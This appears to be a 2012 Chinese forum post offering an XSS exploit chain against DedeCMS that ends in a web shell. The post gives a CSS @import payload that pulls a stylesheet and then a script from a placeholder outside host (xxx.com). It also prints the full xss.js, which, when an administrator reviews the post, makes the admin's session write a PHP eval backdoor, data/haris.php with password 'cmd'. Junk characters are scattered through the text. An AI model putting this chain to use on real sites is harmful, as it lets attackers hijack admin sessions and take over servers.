找回密码
 立即注册
查看: 2270|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
+ G* ?9 z; E: M  F8 k( V" H为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)$ Y% e" M/ f, u! B6 B$ m4 d. _) b
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。3 d, q# y6 [3 a5 J2 o
下面说说利用方法。
$ @( I; i" G" `, ]$ P0 h条件有2个:; k9 O9 p( I9 X( e& V2 k& [( P
1.开启注册
, p# j) c$ c# n6 T3 L2.开启投稿& }: X' Q8 [* w: h
注册会员----发表文章
+ y! R+ |  @: s, M内容填写:8 R+ F! l! d' ^0 l6 G! p
复制代码
6 K/ `0 k; k+ ~8 m- Z" f$ ?1 K( n- G<style>@im\port'\http://xxx.com/xss.css';</style>$ X# @2 J7 B; g: ?  M5 S; x4 Y& |
新建XSS.Css
0 H% l3 R& C+ S+ u复制代码
. i. c1 |1 v4 c. x  q0 e% G; c6 {.body{
, H% q5 ]( ^2 e0 J0 ~6 @1 B7 Z7 pbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }1 ?! R4 W( ]! k6 l7 F/ X
新建xss.js 内容为1 _) `5 \* O( }) u5 }
复制代码
" t" D- ]! o& Q8 m* \1.var request = false;! Q- e3 B+ {. j( m3 y
2.if(window.XMLHttpRequest) {
0 H& O6 i, ^' N( u$ |3.request = new XMLHttpRequest();3 _# A4 o4 z, V8 w7 J6 k1 P/ L/ {
4.if(request.overrideMimeType) {
1 B: Y3 |$ a. }: v( i5.request.overrideMimeType('text/xml');
4 k5 G( ]+ m% g0 ]: e6.}
. o' u" r& Q3 L- n$ d) t7.} else if(window.ActiveXObject) {4 D: P7 @$ ^+ w- b
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ f& w& H6 t! w7 n: @3 N" {9 m( U% _9.for(var i=0; i<versions.length; i++) {8 B0 r4 c* t6 Z) I& }- f0 h8 |: J! G& f
10.try {* c4 {+ |& e& B7 `3 B
11.request = new ActiveXObject(versions);
( y8 o: f( q, p* O" K12.} catch(e) {}* g6 q" V( d7 R- Y
13.}' e% b( c: ^& Q' U5 Q6 u0 d
14.}
: Y. N8 v( I" y4 A0 J' R3 ?15.xmlhttp=request;
6 }  O) C2 Y; r9 R, b. a16.function getFolder( url ){
( @: @* B( r" i! z0 M5 F. A17. obj = url.split('/')
- C2 H! c6 [  L  u8 z( ]% l18. return obj[obj.length-2]3 P! t& a5 O' ]! x& ^
19.}) d7 P) D6 K% G2 M7 G
20.oUrl = top.location.href;& ~9 W! t. k. g' b# {/ z
21.u = getFolder(oUrl);" m, p/ H$ k, h# g: S" {# ~
22.add_admin();3 Q8 p! w* G' a) Y! b
23.function add_admin(){" J  a4 @! u2 }5 ?# l, u" x
24.var url= "/"+u+"/sys_sql_query.php";+ K" P- }) i+ K3 k" j" N1 O; b* E! Q
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
2 J# ~2 o; v" J9 [26.xmlhttp.open("POST", url, true);
6 c" T3 G& }! K0 W* ~27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");1 N8 A2 V  O- @5 g: Y; j0 u( U% |" n
28.xmlhttp.setRequestHeader("Content-length", params.length);# G7 I# _+ D4 N$ Z! s# v
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
, S3 l( y5 ^/ H# c2 s+ l30.xmlhttp.send(params);
/ h- }5 o1 a) [$ V, E1 f31.}% H+ r* K+ ^+ n6 v% Y9 w
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表